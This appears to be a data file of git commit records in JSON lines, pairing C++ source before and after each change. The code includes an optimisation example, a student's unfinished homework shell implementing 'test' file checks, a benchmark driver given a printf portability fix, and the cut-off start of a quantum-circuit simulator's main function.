nSamps << endl;\n cout << \"prob = \" << prob << endl;\n}\n\n\/\/int main()\n\/\/{\n\/\/ defineSeed(0);\n\n\/\/ int nObj = 2;\n\/\/ int nVar = 6;\n\/\/ int nPareto = 5;\n\/\/ int nRand = 10;\n\/\/ int nSamp = 50;\n\n\/\/ vector<vector<double> > paretoDeterministic;\n\/\/ vector<vector<double> > randDeterministic;\n\/\/ vector<vector<vector<double> > > paretoObj;\n\/\/ vector<vector<vector<double> > > randObj;\n\n\/\/ vector<vector<double> > paretoDirVars = simplexLattice(nPareto-1, 2);\n\n\/\/ \/\/ Pareto optimal vectors\n\/\/ for(int i=0; i<paretoDirVars.size(); i++) {\n\/\/ vector<double> iVec(nVar, 0.5);\n\/\/ iVec[0] = paretoDirVars[i][0];\n\/\/ vector<double> determObjVec = deterministicOVec(7, iVec, nObj);\n\/\/ paretoDeterministic.push_back(determObjVec);\n\/\/ vector<vector<double> > oVecSamps = CODeM::GECCOExample(iVec, nObj, nSamp);\n\/\/ paretoObj.push_back(oVecSamps);\n\/\/ }\n\n\/\/ \/\/ Random vectors\n\/\/ for(int i=0; i<nRand; i++) {\n\/\/ vector<double> iVec;\n\/\/ for(int j=0; j<nVar; j++) {\n\/\/ iVec.push_back(randUni());\n\/\/ }\n\/\/ vector<double> determObjVec = deterministicOVec(7, iVec, nObj);\n\/\/ randDeterministic.push_back(determObjVec);\n\/\/ vector<vector<double> > oVecSamps = CODeM::GECCOExample(iVec, nObj, nSamp);\n\/\/ randObj.push_back(oVecSamps);\n\/\/ }\n\n\/\/ \/\/ Display the results\n\/\/ cout << \"\\n% Optimal vectors:\" << endl;\n\/\/ for(int v=0; v<paretoObj.size(); v++) {\n\/\/ cout << \"paretoObj{\" << v+1 << \"} = [\";\n\/\/ for(int i=0; i<paretoObj[v].size(); i++) {\n\/\/ printVector(paretoObj[v][i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\/\/ }\n\n\/\/ cout << \"\\n% Random vectors:\" << endl;\n\/\/ for(int v=0; v<randObj.size(); v++) {\n\/\/ cout << \"randObj{\" << v+1 << \"} = [\";\n\/\/ for(int i=0; i<randObj[v].size(); i++) {\n\/\/ printVector(randObj[v][i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\/\/ }\n\n\/\/ cout << \"\\n% Optimal deterministic vectors:\" << endl;\n\/\/ cout << \"determOptimal = [\";\n\/\/ for(int i=0; i<paretoDeterministic.size(); i++) {\n\/\/ printVector(paretoDeterministic[i]);\n\/\/ }\n\/\/ cout << \"];\" << endl;\n\n\/\/ cout << \"\\n% Random deterministic vectors:\" << endl;\n\/\/ cout << \"determRand = [\";\n\/\/ for(int i=0; i<randDeterministic.size(); i++) {\n\/\/ printVector(randDeterministic[i]);\n\/\/ }\n\/\/ cout << \"];\\n\" << endl;\n\n\/\/ return 0;\n\/\/}\n\n\/\/int main(int argc, char** argv)\n\/\/{\n\/\/ for(int i = 0; i < argc; ++i) {\n\/\/ cout << \"Argument \" << i << \": \" << argv[i] << endl;\n\/\/ }\n\/\/ return 0;\n\/\/}\n<|endoftext|>"} {"text":"<commit_before>7c060a5e-5216-11e5-be03-6c40088e03e4<commit_msg>7c0c6f70-5216-11e5-85fd-6c40088e03e4<commit_after>7c0c6f70-5216-11e5-85fd-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>6d98fbc2-2fa5-11e5-802d-00012e3d3f12<commit_msg>6d9aa976-2fa5-11e5-972a-00012e3d3f12<commit_after>6d9aa976-2fa5-11e5-972a-00012e3d3f12<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <cstring>\n#include <string>\n#include <stdlib.h>\n#include <stdio.h>\n#include <direct.h>\n#include <fcntl.h>\n#include <math.h>\n#include <errno.h>\n#include <time.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#include <io.h>\nusing namespace std;\nint info_RF(const char * dirName);\nint info_D(const char * dirName);\nint info_CS(const char * dirName);\nint info_BS(const char * dirName);\nint info_S(const char * dirName);\nint info_SL(const char * dirName);\nint info_R(const char * dirName);\nint info_W(const char * dirName);\nint info_X(const char * dirName);\nint main()\n{\n\tchar *word[50];\n char buf[500] = \"\\0\";\n\twhile(word[0] != \"exit\"){\n int i, k=0;\n\tcin.getline(buf, 500); \n \n word[k] = strtok(buf, \" \");\n \n while (word[k++] != NULL) {\n word[k] = strtok(NULL, \" \");\n }\n \tchar checking_first = *word[0];\n\/*\tpid_t pid;\n\tpid = fork();\n\tif(pid == 0)\n\t{\n\t\tif(k<=3 && word[0] != \"exit\"){\n\t\t\tstring cmd(\".\/src.\/single_command.sh \");\n\t\t\tcmd += word[0];\n\t\t\tcmd += \" \";\n\t\t\tcmd += word[1];\n\t\t\tsystem(cmd.c_str());\n\t\t\tperror(\"invalid input\");\n\t\t}\t\t\t\t\t\t\t\t\/\/run for single_command.sh\n\t\telse if(checking_first == '#'){\n\t\t\tstring cmd(\".\/src.\/comment_command.sh \");\n\t\t\tsystem(cmd.c_str());\t\t\/\/run for comment_command.sh\n\t\t\tperror(\"invalid input\");\n\t\t}\n\t\telse if(word[0] == \"exit\"){\n\t\t\tstring cmd(\".\/src.\/exit.sh \");\n\t\t\tcmd += word[0];\n\t\t\tsystem(cmd.c_str());\n\t\t\tperror(\"invalid input\");\n\t\t}\t\t\t\t\t\t\t\t\/\/run for exit.sh\n\t\telse\t{\n\t\t\tint initial = 0; \n\t\t\tint hold_number = 0;\n\t\t\tint hold_other_number = 0;\n\t\t\tint ret[20];\n\t\t\tint v[20];\n\n\t\t\twhile(initial <= k){\n\t\t\tstring cmd(\".\/src.\/multi_command.sh \");\n\t\t\t\tif(word[initial] == \"|\"|| word[initial] == \"&\" || word[initial][strlen(word[initial]-1)] == ';'){\n\t\t\t\t\tif(hold_number < initial){\n\t\t\t\t\t\twhile(hold_number <initial){\n\t\t\t\t\t\tcmd += word[hold_number];\n\t\t\t\t\t\thold_number++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tret[hold_other_number] = system(cmd.c_str());\n\t\t\t\t\t\tv[hold_other_number] = WEXITSTATUS(ret[hold_other_number]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tinitial++;\n\t\t\t}\n\t\t}\n\t\tint status = 0;\n\t\twaitpid(pid, status, WNOHANG);\n\t\tif(status != 1){\n\t\t\tperror(\"fail to close child process\");\n\t\t}\n\n\t}\n\telse if(pid == -1){\n\t\tcout<<\"fork error!\"<<endl;\n\t}\n\telse{\n\t\tcout<<\"Should not be in parents\"<<endl;\n\t}\n*\/\n\/\/top of part is for homework 01 which does not working so i made it as comment\n\t\tif(checking_first == '[' || word[0] ==\"test\"){\n\t\t\tchecking_first = *word[1];\n\t\t\tif(checking_first == '-'){\n\t\t\t\t\/\/All functions need that file exist\n\t\t\t\t\tif(word[1] == \"-a\" || word[1] == \"-e\"){ \/\/True if <file> exist\n\t\t\t\t\t\tcout<<\"file exist\"<<endl;\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-f\"){\/\/True if <file> exist and is regular file\n\t\t\t\t\t\tinfo_RF(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-d\"){\/\/True if <file> exist and is a directory\n\t\t\t\t\t\tinfo_D(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-c\"){\/\/True if <file> exist and is character special file\n\t\t\t\t\t\tinfo_CS(*word[2]);\n\t\t\t\t\t}\t\n\t\t\t\t\telse if(word[1] == \"-b\"){\/\/True if <file> exist and is block special file\n\t\t\t\t\t\tinfo_BS(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-p\"){\/\/True if <file> exist and is named pipe\n\t\t\t\t\t\t\/\/ need to \n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-S\"){\/\/True if <file> exist and is socket file\n\t\t\t\t\t\tinfo_S(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-L\" || word[1] ==\"-h\"){\/\/True if <file> exist and is symbolic link\n\t\t\t\t\t\tinfo_SL(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-g\"){\/\/True if <file> exist and is sgid bit set\n\t\t\t\t\t\t\/\/ need to\t\n\t\t\t\t\t}\t\n\t\t\t\t\telse if(word[1] == \"-u\"){\/\/True if <file> exist and is suid bit set\n\t\t\t\t\t\t\/\/ need to\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-r\"){\/\/True if <file> exist and is readable\n\t\t\t\t\t\tinfo_R(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-w\"){\/\/True if <file> exist and is writeable\n\t\t\t\t\t\tinfo_W(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-x\"){\/\/True if <file> exist and is excutable\n\t\t\t\t\t\tinfo_X(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-s\"){\/\/True if <file> exist and size of file is bigger than 0 (not empty)\n\t\t\t\t\t\t\/\/need to\t\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-t\"){\/\/True if file descriptor <fd> is open and refers to a terminal\n\t\t\t\t\t\t\/\/need to\n\t\t\t\t\t}\n\t\t\t}\n\t\t\tchecking_first = *word[2];\n\t\t\tif(checking_first == '-'){ \/\/ there is two files to compare \n\t\t\t\tif(word[2] == \"-nt\"){\/\/ True if <file1> is newer than <file2>\n\n\t\t\t\t}\n\t\t\t\telse if(word[2] == \"-ot\"){\/\/ True if <file1> is older than <file2>\n\n\t\t\t\t}\n\t\t\t\telse if(word[2] == \"-ef\"){\/\/ True if <file1> and <file2> refer to the same device and inode numbers.\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\nint info_RF(const char * dirName){\/\/regular file\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFREG)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_D(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_ISDIR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_CS(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFCHR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_BS(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFBLK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_S(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFSOCK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_SL(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFKNK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n int info_R(const char * dirName){\/\/read\n\t struct stat sb;\n\t if((sb.st_mode & S_IRUSR)){\n\t\treturn 1;\n\t }\n\t return 0;\n }\nint info_W(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IWUSR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_X(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IXUSR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}<commit_msg>201611191753<commit_after>#include <iostream>\n#include <cstring>\n#include <string>\n#include <stdlib.h>\n#include <stdio.h>\n#include <direct.h>\n#include <fcntl.h>\n#include <math.h>\n#include <errno.h>\n#include <time.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n#include <unistd.h>\n#include <io.h>\nusing namespace std;\nint info_RF(char* dirName);\nint info_D(char* dirName);\nint info_CS(char* dirName);\nint info_BS(char* dirName);\nint info_S(char* dirName);\nint info_SL(char* dirName);\nint info_R(char* dirName);\nint info_W(char* dirName);\nint info_X(char* dirName);\nint main()\n{\n\tchar *word[50];\n char buf[500] = \"\\0\";\n\twhile(word[0] != \"exit\"){\n int i, k=0;\n\tcin.getline(buf, 500); \n \n word[k] = strtok(buf, \" \");\n \n while (word[k++] != NULL) {\n word[k] = strtok(NULL, \" \");\n }\n \tchar checking_first = *word[0];\n\/*\tpid_t pid;\n\tpid = fork();\n\tif(pid == 0)\n\t{\n\t\tif(k<=3 && word[0] != \"exit\"){\n\t\t\tstring cmd(\".\/src.\/single_command.sh \");\n\t\t\tcmd += word[0];\n\t\t\tcmd += \" \";\n\t\t\tcmd += word[1];\n\t\t\tsystem(cmd.c_str());\n\t\t\tperror(\"invalid input\");\n\t\t}\t\t\t\t\t\t\t\t\/\/run for single_command.sh\n\t\telse if(checking_first == '#'){\n\t\t\tstring cmd(\".\/src.\/comment_command.sh \");\n\t\t\tsystem(cmd.c_str());\t\t\/\/run for comment_command.sh\n\t\t\tperror(\"invalid input\");\n\t\t}\n\t\telse if(word[0] == \"exit\"){\n\t\t\tstring cmd(\".\/src.\/exit.sh \");\n\t\t\tcmd += word[0];\n\t\t\tsystem(cmd.c_str());\n\t\t\tperror(\"invalid input\");\n\t\t}\t\t\t\t\t\t\t\t\/\/run for exit.sh\n\t\telse\t{\n\t\t\tint initial = 0; \n\t\t\tint hold_number = 0;\n\t\t\tint hold_other_number = 0;\n\t\t\tint ret[20];\n\t\t\tint v[20];\n\n\t\t\twhile(initial <= k){\n\t\t\tstring cmd(\".\/src.\/multi_command.sh \");\n\t\t\t\tif(word[initial] == \"|\"|| word[initial] == \"&\" || word[initial][strlen(word[initial]-1)] == ';'){\n\t\t\t\t\tif(hold_number < initial){\n\t\t\t\t\t\twhile(hold_number <initial){\n\t\t\t\t\t\tcmd += word[hold_number];\n\t\t\t\t\t\thold_number++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tret[hold_other_number] = system(cmd.c_str());\n\t\t\t\t\t\tv[hold_other_number] = WEXITSTATUS(ret[hold_other_number]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tinitial++;\n\t\t\t}\n\t\t}\n\t\tint status = 0;\n\t\twaitpid(pid, status, WNOHANG);\n\t\tif(status != 1){\n\t\t\tperror(\"fail to close child process\");\n\t\t}\n\n\t}\n\telse if(pid == -1){\n\t\tcout<<\"fork error!\"<<endl;\n\t}\n\telse{\n\t\tcout<<\"Should not be in parents\"<<endl;\n\t}\n*\/\n\/\/top of part is for homework 01 which does not working so i made it as comment\n\t\tif(checking_first == '[' || word[0] ==\"test\"){\n\t\t\tchecking_first = *word[1];\n\t\t\tif(checking_first == '-'){\n\t\t\t\t\/\/All functions need that file exist\n\t\t\t\t\tif(word[1] == \"-a\" || word[1] == \"-e\"){ \/\/True if <file> exist\n\t\t\t\t\t\tcout<<\"file exist\"<<endl;\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-f\"){\/\/True if <file> exist and is regular file\n\t\t\t\t\t\tinfo_RF(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-d\"){\/\/True if <file> exist and is a directory\n\t\t\t\t\t\tinfo_D(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-c\"){\/\/True if <file> exist and is character special file\n\t\t\t\t\t\tinfo_CS(*word[2]);\n\t\t\t\t\t}\t\n\t\t\t\t\telse if(word[1] == \"-b\"){\/\/True if <file> exist and is block special file\n\t\t\t\t\t\tinfo_BS(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-p\"){\/\/True if <file> exist and is named pipe\n\t\t\t\t\t\t\/\/ need to \n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-S\"){\/\/True if <file> exist and is socket file\n\t\t\t\t\t\tinfo_S(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-L\" || word[1] ==\"-h\"){\/\/True if <file> exist and is symbolic link\n\t\t\t\t\t\tinfo_SL(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-g\"){\/\/True if <file> exist and is sgid bit set\n\t\t\t\t\t\t\/\/ need to\t\n\t\t\t\t\t}\t\n\t\t\t\t\telse if(word[1] == \"-u\"){\/\/True if <file> exist and is suid bit set\n\t\t\t\t\t\t\/\/ need to\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-r\"){\/\/True if <file> exist and is readable\n\t\t\t\t\t\tinfo_R(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-w\"){\/\/True if <file> exist and is writeable\n\t\t\t\t\t\tinfo_W(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-x\"){\/\/True if <file> exist and is excutable\n\t\t\t\t\t\tinfo_X(*word[2]);\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-s\"){\/\/True if <file> exist and size of file is bigger than 0 (not empty)\n\t\t\t\t\t\t\/\/need to\t\n\t\t\t\t\t}\n\t\t\t\t\telse if(word[1] == \"-t\"){\/\/True if file descriptor <fd> is open and refers to a terminal\n\t\t\t\t\t\t\/\/need to\n\t\t\t\t\t}\n\t\t\t}\n\t\t\tchecking_first = *word[2];\n\t\t\tif(checking_first == '-'){ \/\/ there is two files to compare \n\t\t\t\tif(word[2] == \"-nt\"){\/\/ True if <file1> is newer than <file2>\n\n\t\t\t\t}\n\t\t\t\telse if(word[2] == \"-ot\"){\/\/ True if <file1> is older than <file2>\n\n\t\t\t\t}\n\t\t\t\telse if(word[2] == \"-ef\"){\/\/ True if <file1> and <file2> refer to the same device and inode numbers.\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\nint info_RF(char* dirName){\/\/regular file\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFREG)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_D(char* dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_ISDIR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_CS(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFCHR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_BS(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFBLK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_S(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFSOCK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_SL(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IFKNK)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n int info_R(const char * dirName){\/\/read\n\t struct stat sb;\n\t if((sb.st_mode & S_IRUSR)){\n\t\treturn 1;\n\t }\n\t return 0;\n }\nint info_W(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IWUSR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}\nint info_X(const char * dirName){\n\tstruct stat sb;\n\tif((sb.st_mode & S_IXUSR)){\n\t\treturn 1;\n\t}\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>9c2de3c2-2747-11e6-bc07-e0f84713e7b8<commit_msg>My Life for Auir<commit_after>9c3e3500-2747-11e6-ae0a-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>66af1aca-2e4f-11e5-9e5d-28cfe91dbc4b<commit_msg>66b777b0-2e4f-11e5-aed2-28cfe91dbc4b<commit_after>66b777b0-2e4f-11e5-aed2-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2017 Jussi Pakkanen\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include<speedup.hpp>\n#include<cstdio>\n#include<vector>\n#include<random>\n#include<chrono>\n\nconstexpr const int BUFSIZE=100*1024*1024;\n\nstd::vector<uint8_t> create_random_array() {\n std::vector<uint8_t> buf;\n std::mt19937 gen(42); \/\/ For reproducibility.\n std::uniform_int_distribution<> dis(0, 255);\n\n buf.reserve(BUFSIZE);\n for(int i=0; i<BUFSIZE; i++) {\n buf.push_back(dis(gen));\n }\n return buf;\n}\n\nint main(int, char**) {\n int failed = 0;\n const uint64_t correct_answer = 10038597640;\n auto buf = create_random_array();\n auto mutbuf = buf;\n auto mutbuf2 = buf;\n auto t0 = std::chrono::high_resolution_clock::now();\n auto simple_answer = simple_loop(buf.data(), buf.size());\n auto t1 = std::chrono::high_resolution_clock::now();\n auto cheaty_answer = cheaty_mccheatface(buf.data(), buf.size());\n auto t2 = std::chrono::high_resolution_clock::now();\n auto lut_answer = lookup_table(buf.data(), buf.size());\n auto t3 = std::chrono::high_resolution_clock::now();\n auto bit_answer = bit_fiddling(buf.data(), buf.size());\n auto t4 = std::chrono::high_resolution_clock::now();\n auto partition_answer = partition(mutbuf.data(), mutbuf.size());\n auto t5 = std::chrono::high_resolution_clock::now();\n auto zeroing_answer = zeroing(mutbuf2.data(), mutbuf.size());\n auto t6 = std::chrono::high_resolution_clock::now();\n auto bucket_answer = bucket(buf.data(), buf.size());\n auto t7 = std::chrono::high_resolution_clock::now();\n\n if(simple_answer != correct_answer) {\n printf(\"Simple loop produced wrong answer: %ld\\n\", simple_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t1-t0).count();\n printf(\"Simple loop took %ld ms\\n\", count);\n }\n\n if(cheaty_answer != correct_answer) {\n printf(\"Cheaty produced wrong answer: %ld\\n\", cheaty_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t2-t1).count();\n printf(\"Cheaty McCheatface took %ld ms\\n\", count);\n }\n\n if(lut_answer != correct_answer) {\n printf(\"Lookup table produced wrong answer: %ld\\n\", lut_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t3-t2).count();\n printf(\"Lookup table took %ld ms\\n\", count);\n }\n\n if(bit_answer != correct_answer) {\n printf(\"Bit fiddling produced wrong answer: %ld\\n\", bit_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t4-t3).count();\n printf(\"Bit fiddling took %ld ms\\n\", count);\n }\n\n if(partition_answer != correct_answer) {\n printf(\"Partitioning produced wrong answer: %ld\\n\", partition_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t5-t4).count();\n printf(\"Partitioning took %ld ms\\n\", count);\n }\n\n\n if(zeroing_answer != correct_answer) {\n printf(\"Zeroing produced wrong answer: %ld\\n\", zeroing_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t6-t5).count();\n printf(\"Zeroing took %ld ms\\n\", count);\n }\n\n if(bucket_answer != correct_answer) {\n printf(\"Bucket produced wrong answer: %ld\\n\", bucket_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t7-t6).count();\n printf(\"Bucket took %ld ms\\n\", count);\n }\n\n return failed;\n}\n<commit_msg>Portability fix.<commit_after>\/*\n * Copyright 2017 Jussi Pakkanen\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include<speedup.hpp>\n#include<cstdio>\n#include<vector>\n#include<random>\n#include<chrono>\n\nconstexpr const int BUFSIZE=100*1024*1024;\n\nstd::vector<uint8_t> create_random_array() {\n std::vector<uint8_t> buf;\n std::mt19937 gen(42); \/\/ For reproducibility.\n std::uniform_int_distribution<> dis(0, 255);\n\n buf.reserve(BUFSIZE);\n for(int i=0; i<BUFSIZE; i++) {\n buf.push_back(dis(gen));\n }\n return buf;\n}\n\nint main(int, char**) {\n int failed = 0;\n const uint64_t correct_answer = 10038597640;\n auto buf = create_random_array();\n auto mutbuf = buf;\n auto mutbuf2 = buf;\n auto t0 = std::chrono::high_resolution_clock::now();\n auto simple_answer = simple_loop(buf.data(), buf.size());\n auto t1 = std::chrono::high_resolution_clock::now();\n auto cheaty_answer = cheaty_mccheatface(buf.data(), buf.size());\n auto t2 = std::chrono::high_resolution_clock::now();\n auto lut_answer = lookup_table(buf.data(), buf.size());\n auto t3 = std::chrono::high_resolution_clock::now();\n auto bit_answer = bit_fiddling(buf.data(), buf.size());\n auto t4 = std::chrono::high_resolution_clock::now();\n auto partition_answer = partition(mutbuf.data(), mutbuf.size());\n auto t5 = std::chrono::high_resolution_clock::now();\n auto zeroing_answer = zeroing(mutbuf2.data(), mutbuf.size());\n auto t6 = std::chrono::high_resolution_clock::now();\n auto bucket_answer = bucket(buf.data(), buf.size());\n auto t7 = std::chrono::high_resolution_clock::now();\n\n if(simple_answer != correct_answer) {\n printf(\"Simple loop produced wrong answer: %ld\\n\", (long)simple_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t1-t0).count();\n printf(\"Simple loop took %ld ms\\n\", (long)count);\n }\n\n if(cheaty_answer != correct_answer) {\n printf(\"Cheaty produced wrong answer: %ld\\n\", (long)cheaty_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t2-t1).count();\n printf(\"Cheaty McCheatface took %ld ms\\n\", (long)count);\n }\n\n if(lut_answer != correct_answer) {\n printf(\"Lookup table produced wrong answer: %ld\\n\", (long)lut_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t3-t2).count();\n printf(\"Lookup table took %ld ms\\n\", (long)count);\n }\n\n if(bit_answer != correct_answer) {\n printf(\"Bit fiddling produced wrong answer: %ld\\n\", (long)bit_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t4-t3).count();\n printf(\"Bit fiddling took %ld ms\\n\", (long)count);\n }\n\n if(partition_answer != correct_answer) {\n printf(\"Partitioning produced wrong answer: %ld\\n\", (long)partition_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t5-t4).count();\n printf(\"Partitioning took %ld ms\\n\", (long)count);\n }\n\n\n if(zeroing_answer != correct_answer) {\n printf(\"Zeroing produced wrong answer: %ld\\n\", (long)zeroing_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t6-t5).count();\n printf(\"Zeroing took %ld ms\\n\", (long)count);\n }\n\n if(bucket_answer != correct_answer) {\n printf(\"Bucket produced wrong answer: %ld\\n\", (long)bucket_answer);\n failed++;\n } else {\n int64_t count = std::chrono::duration_cast<std::chrono::microseconds>(t7-t6).count();\n printf(\"Bucket took %ld ms\\n\", (long)count);\n }\n\n return failed;\n}\n<|endoftext|>"} {"text":"<commit_before>e02826fd-2747-11e6-9bc2-e0f84713e7b8<commit_msg>Finished?<commit_after>e0338fb0-2747-11e6-8f5b-e0f84713e7b8<|endoftext|>"} {"text":"<commit_before>efb0840c-2e4e-11e5-8d64-28cfe91dbc4b<commit_msg>efb7f630-2e4e-11e5-bbb4-28cfe91dbc4b<commit_after>efb7f630-2e4e-11e5-bbb4-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>8431fc6c-2d15-11e5-af21-0401358ea401<commit_msg>8431fc6d-2d15-11e5-af21-0401358ea401<commit_after>8431fc6d-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>80df6c63-2d3d-11e5-971b-c82a142b6f9b<commit_msg>81705e21-2d3d-11e5-9be6-c82a142b6f9b<commit_after>81705e21-2d3d-11e5-9be6-c82a142b6f9b<|endoftext|>"} {"text":"<commit_before>2fe096ba-ad5b-11e7-9e61-ac87a332f658<commit_msg>roselyn added more bugs<commit_after>30470f3d-ad5b-11e7-b65e-ac87a332f658<|endoftext|>"} {"text":"<commit_before>#include <omp.h>\n\n#include \"evaluate_circuit.h\"\n\n\/\/ Input: .\/qflex.x I J K fidelity circuit_filename ordering_filename \\\n\/\/ grid_filename [initial_conf] [final_conf]\n\/\/\n\/\/ Example:\n\/\/ $ .\/qflex.x 11 12 2 0.005 .\/circuits\/ben_11_16_0.txt \\\n\/\/ .\/ordering\/bristlecone_48.txt .\/grid\/bristlecone_48.txt\nint main(int argc, char** argv) {\n \/\/ Reading input.\n if (argc < 8) throw std::logic_error(\"ERROR: Not enough arguments.\");\n int current_arg = 1;\n qflex::QflexInput input;\n input.I = atoi(argv[current_arg++]);\n input.J = atoi(argv[current_arg++]);\n input.K = atoi(argv[current_arg++]);\n input.fidelity = atof(argv[current_arg++]);\n\n \/\/ Creating streams for input files.\n std::string circuit_filename = std::string(argv[current_arg++]);\n auto circuit_data = std::ifstream(circuit_filename);\n if (!circuit_data.good()) {\n std::cout << \"Cannot open circuit data file: \" << circuit_filename\n << std::endl;\n assert(circuit_data.good());\n }\n input.circuit_data = &circuit_data;\n std::string ordering_filename = std::string(argv[current_arg++]);\n auto ordering_data = std::ifstream(ordering_filename);\n if (!ordering_data.good()) {\n std::cout << \"Cannot open ordering data file: \" << ordering_filename\n << std::endl;\n assert(ordering_data.good());\n }\n input.ordering_data = &ordering_data;\n std::string grid_filename = std::string(argv[current_arg++]);\n auto grid_data = std::ifstream(grid_filename);\n if (!grid_data.good()) {\n std::cout << 